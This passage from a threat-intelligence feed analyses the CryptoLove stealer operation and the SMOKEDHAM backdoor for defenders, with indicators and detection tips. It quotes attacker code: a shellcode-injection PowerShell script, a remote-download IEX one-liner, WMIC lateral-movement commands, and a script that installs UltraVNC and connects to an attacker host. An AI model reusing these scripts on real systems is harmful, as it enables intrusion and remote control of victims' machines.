getting a build for researchers, antiviruses, or any other analysts who constantly write their articles will be impossible. Hence, the launcher will be significantly cleaner.</blockquote><blockquote>- Thanks to the launcher update, you can now directly determine which worker brought in a specific log. A tag of the worker who brought it will be attached to each log. Determining the branch is now one hundred percent accurate, without the “probabilities” that annoyed them and us.</blockquote><blockquote>- The stealer has been replaced with a product that provides better feedback and collection. Also, thanks to the feature of the brute force panel for wallets from the log, the number of brutes will decrease.</blockquote><blockquote>- Added Anti-Ledger. Yes, that very anti-ledger that other themes advertise as “We f*ck ledgers HURRAH”. All these anti-ledgers always boil down to the human factor of the mammoth, but under the hood, it’s phishing the seed phrase from the original ledger application.”</blockquote><p>We are very pleased that our ongoing efforts to disrupt CryptoLove’s work make them sweat. While we’ve successfully figured out their payload delivery methods, we will not disclose our techniques publicly to continue disrupting their operations effectively. But you can always reach out to us for more information.</p><p>In November 2024, CryptoLove first released their major launcher update with the same old .NET launcher, removing .NET Reactor, and then completely switched to using <a href="https://github.com/jphp-group/develnext">DevelNext,</a> which is an IDE (Integrated Development Environment) for PHP based on JPHP.</p><p>With the updated launcher written in JPHP, the launcher sends out the request to hxxps://apikokoapi[.]com/add_code.php?method=get&amp;code=code_entered if the response contains the “true” statement for the code, indicating that it’s valid (The JSON response from the server would look like the following: {“available”:true,”code”:”XYZ”,”username”:”#worker_handle”}), the launcher would retrieve the payload from 77.105.166[.]229/qicudt52b.dll. Other POST requests to log and register the device are sent to hxxps://service-government[.]com/api.php.</p><p>qicudt52b.dll is a DLL loader with a PDB path <br> C:\Users\Администратор\Documents\Pe-Loader-Sample-master\Release\Pe-Loader-Sample.pdb, which is an <a href="https://github.com/abhisek/Pe-Loader-Sample/tree/master">open-source loader project</a>. The injection leverages the process hollowing technique. The DLL executes one of the payloads fetched from the hardcoded URLs:</p><ul><li>hxxp://77.105.166[.]229/beast2 — LummaC2 Stealer</li><li>hxxp://77.105.166[.]229/beast1 — StealC</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*jdtZaKTBpa12cWNAOAKRmA.png" /><figcaption>Snippet of qicudt52b.dll</figcaption></figure><p>It’s worth noting that some affiliates can have their Build names for LummaC2 and StealC, for example:</p><ul><li>ObmantVault — obman</li><li>Yellow Empire — yellow</li><li>Mr. Best — beast</li><li>PROFIT Team — profitable (observed the same Build ID across multiple affiliates)</li></ul><p>They continue using them despite saying they have moved away from the stealers.</p><p>Later, in November 2024, CryptoLove switched to using a different loader named Morpheme. The loader would drop LummaC2, StealC, or Rhadamanthys stealers.</p><p>The loader leverages reflective loading techniques to dynamically allocate, load, and execute a payload within the current process. It also uses the AsmJit library to facilitate dynamic memory allocation and manage the executable payload. The APIs in the Morpheme loader are encrypted using simple XOR. The loader has many garbage functions, making it time-consuming for analysts to reverse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ENhEgN767ZY_vVhQRFCutw.png" /><figcaption>InternetReadFile API obfuscated with XOR (Morphene32.exe)</figcaption></figure><h3>Detection</h3><ul><li>Look for the following folder creations under C:\:<br>- Cache_clientx86<br>- [a-f0–9]{32}\Morpheme32.exe</li><li>Inspect the network pattern where the URL ends with .php?status=1&amp;wallets=0&amp;av=0&amp;worker=NONE&amp;promo=NONE (initial network connection to the server).</li><li>Look for additional payload retrieval evidence from:<br>- 77.105.166[.]229/second<br>- 77.105.166[.]229/first</li><li>The launcher uses a Base64-encoded PowerShell command to enumerate the antivirus products:</li></ul><pre>C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -inputformat none -command &quot;Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(&#39;W0NvbnNvbGVdOjpPdXRwdXRFbmNvZGluZyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjgKJEFudGl2aXJ1c1Byb2R1Y3RzID0gR2V0LVdtaU9iamVjdCAtTmFtZXNwYWNlICJyb290XFNlY3VyaXR5Q2VudGVyMiIgLUNsYXNzIEFudGlWaXJ1c1Byb2R1Y3QKCmZvcmVhY2ggKCRQcm9kdWN0IGluICRBbnRpdmlydXNQcm9kdWN0cykgewogICAgV3JpdGUtSG9zdCAkUHJvZHVjdC5kaXNwbGF5TmFtZQp9&#39;)))&quot;</pre><p>Which decodes to:</p><pre>[Console]::OutputEncoding = [System.Text.Encoding]::UTF8<br>$AntivirusProducts = Get-WmiObject -Namespace &quot;root\SecurityCenter2&quot; -Class AntiVirusProduct<br> <br>foreach ($Product in $AntivirusProducts) {<br>    Write-Host $Product.displayName<br>}</pre><p>For Sigma rules, please refer to the GitHub <a href="https://github.com/RussianPanda95/Sigma-Rules/blob/main/rules/windows/application/develnext/develnext_execution.yml">page</a>.</p><h3>Summarization of Victims</h3><p>From November 2, 2022, to November 25, 2024, 22,105 victims’ IPs were available; we can only share the victims’ IPs with law enforcement if needed.</p><p>Here is the summary of the IPs based on the country:</p><ul><li><a href="https://ipinfo.io/tools/summarize-ips/8f1e370e-937b-4088-96f0-670252fda333">https://ipinfo.io/tools/summarize-ips/8f1e370e-937b-4088-96f0-670252fda333</a></li></ul><p>Although the first entry in the profit records channel was made on May 9th, 2022, it wasn’t until May 21st, 2024, that the CryptoLove payments records included the IP address of the alleged victim from whom money was stolen, along with the landing page used by CryptoLove that enabled the worker to retrieve the log from the victim. The format used for these announcements of a successful payment is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*UlFlYeQxXfzRHJGnsi7j6A.png" /><figcaption>CryptoLove announcement of a payment to a worker</figcaption></figure><p>Up to this day, there have been 393 alleged successful payments to workers from victims worldwide, following the format mentioned above. Please note that these payments to workers represent a percentage of the amount stolen from the victim, and this percentage varies depending on the affiliate’s rules for each landing.</p><p>The highest payment was made to worker #Genatop4ik in the Orbit project on March 18th, 2024. The PROFIT Team is still using this landing page. The amount paid was a total of $186,328 to an undisclosed victim. MxDuke, the admin of the Profit Team, mentioned in an interview with Cryptolove that this amount represented 50% of the money stolen, totaling 372 thousand dollars in Solana.</p><p>If you believe you were a victim of Cryptolove at any point, please feel free to contact us for further assistance.</p><p>Additionally, you can reach out to us for more tips on detection and hunting tips.</p><h3>Indicators of Compromise</h3><p>The Indicators of Compromise:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/045fe28bbf0bb47c11b9e493bbfb6717/href">https://medium.com/media/045fe28bbf0bb47c11b9e493bbfb6717/href</a></iframe><h3>References</h3><p><a href="https://github.com/TRACLabs1/Config_extractors/tree/main">https://github.com/TRACLabs1/Config_extractors/tree/main</a></p><p><a href="https://github.com/abhisek/Pe-Loader-Sample/tree/master">https://github.com/abhisek/Pe-Loader-Sample/tree/master</a></p><p><a href="https://gist.github.com/TRACLabs1/01eeb350cf7ae02ed8fddca0ec089f5f">https://gist.github.com/TRACLabs1/01eeb350cf7ae02ed8fddca0ec089f5f</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f65e84ccebe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Who Ordered the SMOKEDHAM? Backdoor Delicacies in the Wild]]></title>
            <link>https://medium.com/trac-labs/who-ordered-the-smokedham-backdoor-delicacies-in-the-wild-87f51e2e5bd2?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/87f51e2e5bd2</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 20:42:28 GMT</pubDate>
            <atom:updated>2024-11-22T20:42:28.505Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*St5Yb00W5wXZmcISLmvoFg.png" /></figure><h3>Case Study</h3><p>The <a href="https://cloud.google.com/blog/topics/threat-intelligence/shining-a-light-on-darkside-ransomware-operations">SMOKEDHAM backdoor</a> has been active since 2019 and has been observed being distributed by the threat actor Mandiant identifies as UNC2465. This financially motivated group is known for its involvement in complex extortion operations. They typically gain access to victims’ environments through malicious installers masquerading as legitimate software, often spread via Malvertising leveraging Google and Bing Ads, which leads to the deployment of the SMOKEDHAM backdoor. Historically linked to DARKSIDE ransomware, UNC2465 has since shifted its operations to utilize LOCKBIT ransomware.</p><p>There have been multiple sightings of SMOKEDHAM in the wild between 2023 and 2024. For further reading and additional research, please refer to the reference section at the end of this article.</p><h3>UNC2465</h3><p>UNC2465 is a cyber threat cluster known for conducting multifaceted extortion campaigns, including supply chain attacks and ransomware deployments. In recent activity, UNC2465 has leveraged trojanized installers disguised as legitimate tools, such as KeyStore Explorer and Angry IP Scanner, to deliver SMOKEDHAM payloads. UNC2465 activity has historically preceded DARKSIDE and LOCKBIT ransomware deployments. However, it is likely future UNC2465 operations will rely on different ransomware families given DARKSIDE is no longer operating and LOCKBIT has been disrupted due to law enforcement action.</p><p><strong>Key Activities and Tactics:</strong></p><ul><li>UNC2465 has been observed delivering the SMOKEDHAM backdoor via phishing emails. Services such as Google Drive and Dropbox have been utilized to host malicious payloads. UNC2465 has also conducted supply chain attacks, notably compromising the website of a CCTV vendor to distribute trojanized software.</li><li>The group primarily uses the SMOKEDHAM backdoor. This backdoor facilitates initial access and persistence within targeted networks.</li><li>Post-compromise, UNC2465 leverages tools such as Advanced IP Scanner and BloodHound for network reconnaissance. They utilize Remote Desktop Protocol (RDP) for lateral movement and deploy Mimikatz for credential harvesting.</li><li>The group was observed by Mandiant using the NGROK utility to bypass firewalls, exposing internal services like RDP to the internet, thereby facilitating unauthorized access.</li><li>As an affiliate of LOCKBIT and previously DARKSIDE, UNC2465 has deployed ransomware in victim environments. In some cases, there have been significant delays between initial compromise and ransomware deployment.</li></ul><h3>Notable Incidents</h3><ul><li><a href="https://securityaffairs.com/119051/cyber-crime/unc2465-supply-chain-attack.html">In May 2021</a>, UNC2465 compromised the website of a CCTV camera vendor, inserting malware into a Windows application used by customers to manage security feeds. This supply chain attack led to the distribution of the SMOKEDHAM backdoor to the vendor’s clients.</li><li>In late 2023, the group was <a href="https://www.connectwise.com/blog/cybersecurity/former-darkside-ransomware-affiliate-distributing-trojanized-installers-via-malvertising">linked </a>to malvertising campaigns distributing trojanized versions of legitimate software, such as Advanced IP Scanner, RVTools and DBeaver. These campaigns aimed to deliver the SMOKEDHAM to unsuspecting users.</li></ul><h3>TRAC Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mMaT2WmN0YXA9L2k.png" /><figcaption>Infection Chain</figcaption></figure><h3>IPScanner</h3><p>After the payload execution, changes were made to manipulate Microsoft Distributed Transaction Coordinator (MSDTC) service with the following commands:</p><ul><li>sc config msdtc start= demand — the command configures the MSDTC service to start manually (“on-demand”).</li><li>sc config msdtc obj= “LocalSystem” — the command changes the service account under which MSDTC runs, configuring it to run under the LocalSystem account, a very high-privileged built-in account on Windows machines.</li></ul><p>The purpose of running the above commands is to later DLL side-load the binary named oci.dll retrieved from the C2 server to establish the persistence or escalate the privileges. We did not observe the threat actor dropping oci.dll on the host.</p><p>The following reconnaissance commands were observed:</p><ul><li>C:\Windows\system32\whoami.exe</li><li>C:\Windows\system32\systeminfo.exe</li></ul><p>Approximately 6 hours after the execution of the malicious binary on the beachhead host, the threat actors moved laterally to the Domain Controller using WMI (Windows Management Instrumentation):</p><ul><li>“C:\Windows\System32\Wbem\WMIC.exe” /node:10.5.20.2 process call create “cmd.exe /c C:\programdata\Microsoft\LogUpdateWindows\oleview.exe”</li><li>“C:\\Windows\\System32\\Wbem\\WMIC.exe\” /node:10.5.20.2 process call create \”cmd.exe /c c:\\programdata\\Microsoft\\LogUpdateWindows\\Microsoft.AnyKey.lnk\</li></ul><p>The attempts were made to copy the legitimate oleview.exe binary which can be used later for side-loading the malicious aclui.dll and the shortcut file Microsoft.AnyKey.lnk.</p><h3>NSIS script</h3><p>Upon analyzing the NSIS script, we noted the following:</p><ul><li>The script creates the empty file Cert.txt as a mutex — so if it finds the Cert.txt file under C:\ProgramData\Microsoft\WindowsUpdate24 path the further execution of the script will not continue.</li><li>The script checks for the following values in the registry:</li></ul><pre>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion: CurrentMajorVersionNumber (Windows version)<br>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters: Domain (system domain)</pre><p>If either of these is empty, the script skips to label_59, which avoids further installations.</p><ul><li>The default installation directory is set to C:\ProgramData\Microsoft\WindowsUpdate24.This is where the malicious SMOKEDHAM files and the decoy installer will be placed (InstallDir C:\ProgramData\Microsoft\WindowsUpdate24).</li><li>The script copies the file ipscan-3.9.1-setup.exe to the installation directory and executes the installer for Angry IP Scanner.</li><li>Extracts an archive UpdateFull.7z using the password TG98HJerxsdqWE45 via 7za.exe.</li><li>Creates a directory called LogUpdateWindows under C:\ProgramData\Microsoft\ and copies the malicious files to the new directory:<br>- Microsoft.AnyKey.lnk<br>- Microsoft.AnyKey.exe<br>- Wiaphoh7um.t<br>- LogUpdate.bat</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*OVgeyOPEJiofyHqm.png" /></figure><p>Copy SMOKEDHAM files into a new directory</p><ul><li>Running commands described above:<br>- “sc config msdtc start= demand”<br>- “sc config msdtc obj= “$LocalSystem$””</li><li>Write a new registry key under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run , pointing to Microsoft.AnyKey.lnk to ensure the malicious shortcut file is executed on startup (persistence).</li><li>Writes a value to the registry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI. Specifically, it modifies the OracleOciLibPath registry key and sets its value to C:\ProgramData\SysIco — this is where the malicious oci.dll we mentioned previously would be dropped.</li></ul><p>So, upon the initial execution the malicious batch file will be executed under C:\ProgramData\Microsoft\WindowsUpdate24\WindowsUpdate.bat with the command:</p><ul><li>C:\ProgramData\Microsoft\WindowsUpdate24\Microsoft.AnyKey.exe abnormal c:\programdata\1 C:\ProgramData\Microsoft\WindowsUpdate24\WindowsUpdate.bat</li></ul><p>Microsoft.AnyKey.exe or Microsoft.NodejsTools.PressAnyKey.exe is used as a <a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey/">LOLBIN</a>. From the command above, the first argument is “abnormal”, which does not play a significant role in the execution. The second argument is the path to the file at c:\programdata\1 containing the PID of the process to be launched. The third argument is the file to be executed. In our case, it is WindowsUpdate.bat.</p><p>The contents of the WindowsUpdate.bat script is shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*kT1qHoQAItAlL2sN.png" /></figure><p>Content of WindowsUpdate.bat script</p><p>The script uses shortened aliases for PowerShell commands, like SV for Set-Variable, SI for Set-Item, and DIR for Get-ChildItem -Directory. This substitution makes the code much harder to read and analyze.</p><p>The script uses wildcards (e.g., Ex*xt, *man*Name, *nl*g, *k*i*t) to reference variables and method names dynamically. For example, Ex*xt stands for Execute or Invoke, which is resolved to EngineIntrinsics by PowerShell’s matching logic shown in code snippet below. *man*Name, *nl*g, and *k*i*t target specific methods or properties within EngineIntrinsics.</p><p>The snippet of the deobfuscated values:</p><pre>Ex*xt variable value: System.Management.Automation.EngineIntrinsics<br>Matched method with *man*Name wildcard: GetCommandName<br>Command for Variable 3 would be: New-Object<br>Variable 3 set to: New-Object<br>Method name matched with *k*i*t wildcard: InvokeScript<br>Command to invoke would be:<br>System.Collections.ObjectModel.Collection[psobject] InvokeScript(string script), System.Collections.ObjectModel.Collection[psobject] InvokeScript(string script, Params System.Object[] args), System.Collections.ObjectModel.Collection[psobject] InvokeScript(System.Management.Automation.SessionState sessionState, scriptblock scriptBlock, Params System.Object[] args), System.Collections.ObjectModel.Collection[psobject] InvokeScript(bool useLocalScope, scriptblock scriptBlock, System.Collections.IList input, Params System.Object[] args), System.Collections.ObjectModel.Collection[psobject] InvokeScript(string script, bool useNewScope, System.Management.Automation.Runspaces.PipelineResultTypes writeToPipeline, System.Collections.IList input, Params System.Object[] args)<br>With parameters: New-Object C:\ProgramData\Microsoft\WindowsUpdate24\kautix2aeX.t</pre><p>It eventually invokes the malicious .NET code within kautix2aeX.t leveraging PowerShell.</p><p>The script kautix2aeX.t is a PowerShell script that performs the following actions:</p><ul><li>The script sleeps for 60 seconds.</li><li>The variable $i9evfun6NRZh contains an obfuscated (base64-encoded) string, which looks like it is encoded data that will be decrypted.</li><li>ConvertTo-SecureString takes $i9evfun6NRZh and decrypts it using $jwo4BC7QIJtr as the key, resulting in $5xNHGY2Ila98, a decrypted, secure string.</li><li>System.Drawing.dll, System.Web.Extensions.dll, and System.Windows.Forms.dll are dynamically constructed as var1, var2, and var3. These assemblies are standard .NET libraries are used for graphic manipulation, web functionalities and GUI-related operations.</li><li>$var4 is constructed as <a href="https://cdn-server-1.xiren77418.workers.dev,/">hxxps://cdn-server-1.xiren77418.workers[.]dev,</a> which is SMOKEDHAM command-and-control (C2) server.</li><li>After compiling the C# code, the script executes the main .NET payload and calls a method named HPlu from the newly created type [VuLiaU.aCFKMgLnNBgEcxS]. The method FGPZ is called with $var4 (the C2 URL), QQnoZKqtpRUzETVvpRgPRpcN (RC4 key) and 40000 as additional parameters.</li><li>This step initiates communication with the remote server, cdn-server-1.xiren77418.workers[.]dev.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*sa7Z7D8SY8w3PWvp.png" /></figure><p>Obfuscated kautix2aeX.t script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*C_yoGnq7HJyY8EX6.png" /></figure><p>Cleaned up kautix2aeX.t script</p><h3>kautix2aeX payload (main .NET payload)</h3><p>The core .NET payload takes three arguments mentioned above — C2 URL, RC4 key and the delay interval.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Eq1fnNUKRfgt7jtb.png" /></figure><h3>kautix2aeX payload (main .NET payload)</h3><p>The method gYsmGak (Figure 6) takes an integer input parameter that specifies the length of a random alphanumeric string to be generated. If the input is `0` (in our sample it is “0”), the method randomly sets the length between 1 and 15. It uses a seeded random generator, initialized with the process ID and the current time, to create the string from a character set of letters and digits. The generated string is then appended to each new POST request to the C2 URL, such as “hxxps://cdn-server-1.xiren77418.workers[.]dev/IlL3LmVC/”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*PHUHCoKOjlE-RxXY.png" /><figcaption>Method “gYsmGak”</figcaption></figure><p>The same method is used to generate the ID that will be used as a static value during C2 communications, which means the same unique ID will be appended to the POST requests until the new round of the binary execution.</p><p>The initial connection to the C2, the infected host would register itself.</p><pre>POST hxxps://cdn-server-1.xiren77418.workers[.]dev/fEaTmgI8pTgsbe7/ HTTP/1.1<br>User-Agent: Microsoft Windows NT 10.0.16299.0<br>Content-Type: application/json<br>Host: cdn-server-1.xiren77418.workers.dev<br>Content-Length: 131<br>Expect: 100-continue<br>Connection: Keep-Alive<br>{&quot;UUID&quot;:null,&quot;ID&quot;:&quot;UqEWTGw4CCWwCTHv&quot;,&quot;Data&quot;: encrypted content}</pre><p>Where decrypted data would contain register ID COMPUTERNAME USERDOMAIN\USERNAME. The user agent is constructed from the current operating system version of the victim’s machine, so it would always be Microsoft Windows NT followed by the OS version on Windows machines.</p><p>With the delays specified in the script mentioned above, the C2 would respond with commands such as ‘whoami”, “systeminfo” to perform reconnaissance on the host. Upon further testing, there is a high confidence that “whoami” is used as an automated command by the threat actor and “systeminfo” is executed manually by the TA.</p><p>If the C2 server’s response includes a UUID, the infected machine processes it. The UUID format is [a-fA-F0–9]{8}-[a-fA-F0–9]{4}-[a-fA-F0–9]{4}-[a-fA-F0–9]{4}-[a-fA-F0–9]{12}. This value only appears if the infected machine receives a valid response from the C2 server, such as an arbitrary command execution.</p><p>An example of the valid response from C2 is shown below.</p><pre>{&quot;UUID&quot;:&quot;7a189f32–6e45–46ac-a24e-88c9267dd09f&quot;,&quot;ID&quot;:&quot;IckwbO2lvIBhl3QA&quot;,&quot;Data&quot;:&quot;yMM=&quot;}</pre><p>Where the data is, again, base64-encoded and RC4-encrypted.</p><p>In return, the victim’s machine sends the response of the requested data back to the C2 server using the same UUID.</p><p>The payload checks if the decrypted command contains “delay.” If it does, it configures the sleep interval between further C2 communications. If the response from the server contains “exit” — the payload process exits. For other valid commands from C2, the runspace, an environment where PowerShell commands are executed, is created to execute the arbitrary commands from C2. The output or any error message resulting from the execution along with the UUID received is sent back to the C2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*zsDuMF0KfBYUTkXu.png" /></figure><p>Function responsible for executing the received PowerShell commands</p><p>The open-source SMOKEDHAM (also known as <a href="https://github.com/Mr-Un1k0d3r/ThunderShell">Thundershell</a>) RAT has two autocommands enabled by default: whoami and screenshot. The latter captures a screenshot of the victim’s machine. In this case, however, the threat actor (TA) only uses whoami as an autocommand. SMOKEDHAM also supports domain fronting, which allows the TA to mask the true destination by redirecting requests through a different domain. The operators of SMOKEDHAM leverage Cloudflare Workers to achieve this (please see the IOC section for indicators).</p><p>SMOKEDHAM can generate three types of payloads:</p><ul><li>Powershell — the C# code is integrated into PowerShell (Figure 8)</li><li>csharp — the precompiled version of the RAT in C# format.</li><li>exe — the ready-to-execute binary file of the RAT.</li></ul><p>The following are the RAT commands:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*HNPL5DfL44DZf3XZ.png" /><figcaption>PowerShell payload</figcaption></figure><p>The exec, inject, upload and ps utilizes the PowerShell payloads with embedded C# code that are executed in memory.</p><p>For the exec command, the exec.ps1 is used, first it allocates the memory for shellcode with VirtualAlloc and then set it to MEM_COMMIT and PAGE_EXECUTE_READWRITE, then it calls CreateThread to execute the shellcode, the full script is shown below.</p><pre>$Injector = @&quot;<br>using System;<br>using System.Collections.Generic;<br>using System.Text;<br>using System.Runtime.InteropServices;<br>namespace Injector<br>{<br>public class Shellcode<br>{<br>private static UInt32 VAR1 = 0x1000;<br>private static UInt32 VAR2 = 0x40;<br>[DllImport(&quot;kernel32&quot;)]<br>private static extern UInt32 VirtualAlloc(UInt32 VAR3, UInt32 VAR4, UInt32 VAR5, UInt32 VAR6);<br>[DllImport(&quot;kernel32&quot;)]<br>private static extern UInt32 WaitForSingleObject(IntPtr VAR3, UInt32 VAR4);<br>[UnmanagedFunctionPointer(CallingConvention.Cdecl)]<br>private delegate IntPtr VAR10(IntPtr VAR3, UInt32 VAR4, IntPtr VAR5, IntPtr VAR6, UInt32 VAR7, UInt32 VAR8);<br>[DllImport(&quot;kernel32.dll&quot;)]<br>public static extern IntPtr LoadLibrary(string VAR3);<br>[DllImport(&quot;kernel32.dll&quot;)]<br>public static extern IntPtr GetProcAddress(IntPtr VAR3, string VAR4);<br>static public void Exec(byte[] cmd)<br>{<br>IntPtr VAR11 = LoadLibrary(&quot;kernel32.dll&quot;);<br>IntPtr VAR12 = GetProcAddress(VAR11, &quot;CreateThread&quot;);<br>VAR10 VAR13 = (VAR10)Marshal.GetDelegateForFunctionPointer(VAR12, typeof(VAR10));<br>UInt32 VAR14 = VirtualAlloc(0, (UInt32)cmd.Length, VAR1, VAR2);<br>Marshal.Copy(cmd, 0, (IntPtr)(VAR14), cmd.Length);<br>IntPtr VAR15 = IntPtr.Zero;<br>IntPtr VAR16 = IntPtr.Zero;<br>VAR15 = VAR13(IntPtr.Zero, 0, (IntPtr)VAR14, VAR16, 0, 0);<br>WaitForSingleObject(VAR15, 0xFFFFFFFF);<br>}<br>}<br>}<br>&quot;@<br>Try {<br>Add-Type -TypeDefinition $Injector -Language CSharp<br>} Catch {<br>Write-Output &quot;CSharp already loaded&quot;<br>}<br>[Injector.Shellcode]::Exec([Convert]::FromBase64String(&quot;[PAYLOAD]&quot;));</pre><p>For the inject command, the basic process injection is being used with the following API calls:</p><ul><li>OpenProcess — gets a handle to a target process</li><li>VirtualAllocEx — allocates memory within the target process</li><li>WriteProcessMemory — writes data to the allocated memory</li><li>CreateRemoteThread — creates a new thread in the target process that will execute the injected payload</li></ul><p>For the ps command, the following script is executed:</p><pre>$ProcessList = @()<br>Get-CimInstance Win32_process | ForEach-Object {<br>$Process = $_<br>$Owner = Invoke-CimMethod -InputObject $Process -MethodName GetOwner | Select Domain, User<br>$OwnerString = &quot;&quot;<br>if ([String]::IsNullOrEmpty($Owner.Domain)) {<br>$OwnerString = $Owner.User<br>} else {<br>$OwnerString = &quot;$($Owner.Domain)\$($Owner.User)&quot;<br>}<br>$Output = New-Object -TypeName PSObject -Property @{<br>PID = $Process.ProcessId<br>Name = $Process.ProcessName<br>Owner = $OwnerString<br>CommandLine = $Process.CommandLine<br>}<br>$ProcessList += $Output<br>}<br>$ProcessList | Format-Table -AutoSize</pre><p>Where Get-CimInstance cmdlet is used to retrieve a list of all processes currently running on the system.</p><p>For the upload command, the PowerShell script decodes a Base64-encoded string and writes the decoded content to a specified file:</p><pre>$var1 = &quot;[PAYLOAD]&quot;<br>$var2 = [Convert]::FromBase64String($var1)<br>$var3 = [Text.Encoding]::ASCII.GetString($var2)<br>$var3 | Out-File [PATH]</pre><h3>Recent Observations</h3><p>We observed new samples on <a href="https://www.virustotal.com/gui/file/18ac8b98371c9891ba0814eff8c4836db4987bd1ee1bc9ad981daef2abf49bba/details">VirusTotal</a> signed with EV certificates and reported the certificates misuse to GlobalSign and SSL.</p><p>Certificate details:</p><pre>Name: Guan Clean Technology Company Limited<br>Issuer: GlobalSign GCC R45 EV CodeSigning CA 2020<br>Thumbprint: 90F010D6448D06CBF218D61ADFA1C3A0657A0E3B<br>Serial Number: 5F 7A 0B 47 90 7C 8D AB 52 50 5A D4<br><br>Name: JBMC Software Inc.<br>Issuer:SSL.com EV Code Signing Intermediate CA RSA R3 <br>Thumbprint:437D41974148291A70F6A8E51F08CF789C44DFAF<br>Serial Number:3F 79 EF AB 9E 23 A0 03 92 A0 EB D7 17 02 A8 CC<br></pre><p>This sample came with a few changes. Threat actors added three additional files to the signed executable:</p><ul><li>aclui-2.dll — the malicious DLL containing the PowerShell command to execute Wiaphoh7um.t file (this is likely the replacement for the batch files mentioned earlier)</li><li>aclui.dll — the malicious DLL containing the PowerShell command to execute kautix2aeX.t.</li><li>oleview.exe — legitimate binary used to side-load the malicious aclui.dll</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*1h8atvhngWIh3DOo.png" /><figcaption>Snippet of the code that is responsible for executing the PowerShell script</figcaption></figure><p>Side-loading the malicious DLL is a stealthier approach than using Microsoft.NodejsTools.PressAnyKey.exe LOLBIN.</p><p>In addition to incorporating the files specified earlier, the NSIS script has undergone several modifications as described below:</p><ul><li>This command executes only if the machine is not part of a domain. It checks if the registry value under system\CurrentControlSet\Services\TcpIp\Parameters\Domain returns an empty string, indicating the machine is not domain-joined. If the check confirms this, the following command is executed: w32tm /monitor /computers:ec2–52–14–160–176.us-east-2.compute.amazonaws.com<em>.</em> This command queries and monitors the time synchronization status between the potentially threat actor-controlled EC2 instance and the non-domain joined machine. The purpose of running this command is unclear, but it may serve as a diversionary tactic or smokescreen to convince the user that the binary is not malicious.</li><li>The binary oleview.exe is copied to C:\ProgramData\Microsoft\LogUpdateWindows.</li><li>The malicious DLL aclui-2.dll is copied and renamed to C:\ProgramData\Microsoft\LogUpdateWindows\aclui.dll.</li><li>Persistence is achieved through the Windows Registry’s Run key. Specifically, an entry is created with the value name UpdateOleview located at SOFTWARE\Microsoft\Windows\CurrentVersion\Run. This registry key ensures that the executable C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exe.</li></ul><h3>SMOKEDHAM Hands-On Activity</h3><p>From the recent observations, we saw the threat actor executing the commands:</p><ul><li>systeminfo</li><li>ls ~\</li><li>ls ~\desktop</li><li>ls ~\download</li><li>IEX (New-Object Net.Webclient).downloadstring(‘hxxps://www.dropbox[.]com/scl/fi/anusqer4tww1m89rp4myw/vnc.t?rlkey=eze5u689av8nu48wx696latp9&amp;dl=1&#39;)</li></ul><p>Where vnc.t is a PowerShell script that contains the following:</p><pre>mkdir &quot;$env:Programdata\Winlogon&quot;;<br>Sleep 5;<br>$clients = new-object System.Net.WebClient;$clients.DownLoadFile(&#39;https://www.dropbox.com/scl/fi/l37v94e1cmkpndra2k54h/winlogon.t?rlkey=ezayv7o216lebiyj4f15y20se&amp;dl=1&#39;,&quot;$env:Programdata\Winlogon\winlogon.exe&quot;);<br>$clients = new-object System.Net.WebClient;$clients.DownLoadFile(&#39;https://www.dropbox.com/scl/fi/fl12d5db094koajsf0bm9/UltraVNC.t?rlkey=mtboezl2ox6fu7i5t8ud7rnv3&amp;dl=1&#39;,&quot;$env:Programdata\Winlogon\UltraVNC.ini&quot;);<br>cd &quot;$env:Programdata\Winlogon\&quot;;<br>Sleep 3;<br>$num = Get-Random -max 30000000 -min 20000000;<br>$Id = &quot;ID:&quot;+$num;<br>.\winlogon.exe -autoreconnect $Id -connect ec2–18–220–58–90.us-east-2.compute.amazonaws.com:443 -run;<br>TASKKILL /IM rundll32.exe /F;<br>TASKKILL /IM rundll32.exe /F;<br>TASKKILL /IM rundll32.exe /F;<br>Sleep 1;<br>TASKKILL /IM rundll32.exe /F;<br>echo &quot;VNC - $Id&quot;;<br>· Get-Process | Where {$_.path -eq &quot;c:\ProgramData\Winlogon\winlogon.exe&quot;}</pre><p>From the commands listed above, we can observe that the threat actors were interested in Desktop and Downloads folders. They retrieved the UltraVNC payload and its configuration from the UltraVNC.ini file via Dropbox, subsequently placing them in the C:\Programdata\Winlogon directory. Additionally, UltraVNC established a connection to an attacker-controlled EC2 instance located at 